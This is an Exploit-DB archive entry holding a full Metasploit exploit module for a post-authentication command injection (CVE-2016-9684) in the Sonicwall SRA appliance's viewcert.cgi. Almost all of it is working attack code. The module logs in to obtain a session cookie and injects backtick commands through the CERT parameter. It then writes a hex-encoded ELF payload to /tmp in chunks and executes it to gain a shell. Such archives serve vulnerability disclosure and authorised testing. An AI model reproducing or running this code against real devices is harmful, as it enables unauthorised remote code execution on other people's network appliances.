标题: Sonicwall 8.1.0.2-14sv - 'viewcert.cgi' Remote Command Injection (Metasploit) EDB-ID: 41416 CVE: 2016-9684 类型: WEBAPPS 平台: HARDWARE 发布日期: 2016-12-24 漏洞利用脚本: # Exploit Title: Sonicwall viewcert.cgi CGI Remote Command Injection Vulnerablity 
# Date: 12/24/2016
# Exploit Author: xort @ Critical Start
# Vendor Homepage: www.sonicwall.com
# Software Link: sonicwall.com/products/sra-virtual-appliance
# Version: 8.1.0.2-14sv
# Tested on: 8.1.0.2-14sv
#             
# CVE : (awaiting cve)

# vuln: viewcert.cgi / CERT parameter 

# Description PostAuth Sonicwall SRA <= v8.1.0.2-14sv. This exploit leverages a command injection bug. 
#
# xort @ Critical Start




require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
 Rank = ExcellentRanking
 include  Exploit::Remote::Tcp
        include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Sonicwall SRA <= v8.1.0.2-14sv viewcert.cgi remote exploit',
     'Description'    => %q{
     This module exploits a remote command execution vulnerability in
    the Sonicwall SRA Appliance Version <=  v8.1.0.2-14sv. The vulnerability exist in
    a section of the machine's adminstrative infertface for performing configurations 
    related to on-connect scripts to be launched for users's connecting. 
   },
   'Author'         =>
    [
     'xort@Critical Start', # vuln + metasploit module
    ],
   'Version'        => '$Revision: 1 $',
   'References'     =>
    [
     [ 'none', 'none'],
    ],
   'Platform'      => [ 'linux'],
   'Privileged'     => true,
    'Arch'          => [ ARCH_X86 ],
                        'SessionTypes'  => [ 'shell' ],
                        'Privileged'     => false,

          'Payload'        =>
                                { 
                                  'Compat' =>
                                  {
                                        'ConnectionType' => 'find',
                                  }
                                },

   'Targets'        =>
    [
     ['Linux Universal',
      {
        'Arch' => ARCH_X86,
        'Platform' => 'linux'
      }
     ],
    ],
   'DefaultTarget' => 0))

   register_options(
    [
     OptString.new('PASSWORD', [ false, 'Device password', "" ]), 
             OptString.new('USERNAME', [ true, 'Device password', "admin" ]), 
     OptString.new('CMD', [ false, 'Command to execute', "" ]), 
     Opt::RPORT(443),
    ], self.class)
 end

        def do_login(username, password_clear)
                vprint_status( "Logging into machine with credentials...\n" )

                # vars
                timeout = 1550;

                # send request  
                res = send_request_cgi(
                {
                      'method'  => 'POST',
                      'uri'     => "/cgi-bin/userLogin",
        'headers' => {
      'Connection' => 'close',
      'Content-Type' => 'application/x-www-form-urlencoded',
      'User-Agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:50.0) Gecko/20100101 Firefox/50.0',
               },
                      'vars_post' => {
      'username' => username,
      'password' => password_clear,
      'domain' => 'LocalDomain',
      'loginButton' => 'Login',
      'state' => 'login',
      'login' => 'true',
      'VerifyCert' => '0',
      'portalname' => 'VirtualOffice',
      'ajax' => 'true'
         },
                }, timeout)

  swap = res.headers['Set-Cookie'].split('\n').grep(/(.*)swap=([^;]+);/){$2}[0]
  
                return swap
        end


 def run_command(swap_cookie, cmd)

                # vars
                timeout = 1550;

                res = send_request_cgi({
                   'method' => 'POST',
                   'uri'    => "/cgi-bin/viewcert",
                   'data' => "buttontype=delete&CERT=newcert-1`#{cmd}`",
                   'headers' =>
                        {
                                'Cookie' => "swap=#{swap_cookie}",
                        },
                }, timeout)
 end

 def run_command_spliced(swap_cookie, cmd)

              write_mode = ">"
              dump_file = "/tmp/qq"
       reqs = 0

              cmd_encoded = cmd.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')

              for cmd_chunk in cmd_encoded.split(/(....................................)/)

                        cmd_new = "printf \"#{cmd_chunk}\"#{write_mode}#{dump_file}"
   reqs += 1

   vprint_status("Running Command (#{reqs})\n")

                        # set to normal append for loops after the first round
                        if write_mode == ">"
                                write_mode = ">>"
                        end

                        # add cmd to array to be exected later          
                        run_command(swap_cookie, cmd_new)
               end
#  vprint_status("Running Final Command ...\n")

                # execute payload stored at dump_file 
                run_command(swap_cookie, "chmod +x /tmp/qq; sh /tmp/qq")

 end

 def exploit
  # timeout
  timeout = 1550;

  # params
  password_clear = datastore['PASSWORD']
  user = datastore['USERNAME']

  # do authentication  
  swap_cookie = do_login(user, password_clear)
 
  vprint_status("authenticated 'swap' cookie: #{swap_cookie}\n")
   
   #if no 'CMD' string - add code for root shell
                if not datastore['CMD'].nil? and not datastore['CMD'].empty?

                        cmd = datastore['CMD']

                        # Encode cmd payload
                        encoded_cmd = cmd.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')

                        # kill stale calls to bdump from previous exploit calls for re-use
                        run_command(swap_cookie, ("sudo /bin/rm -f /tmp/n; printf \"#{encoded_cmd}\" > /tmp/n; chmod +rx /tmp/n; /tmp/n" ))

                else
                        # Encode payload to ELF file for deployment
                        elf = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
                        encoded_elf = elf.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')


                        run_command_spliced(swap_cookie, "printf \"#{encoded_elf}\">/tmp/m;chmod +rx /tmp/m;/tmp/m")
   # wait for magic
                        handler
                end
 end
end URL: https://www.exploit-db.com/exploits/41416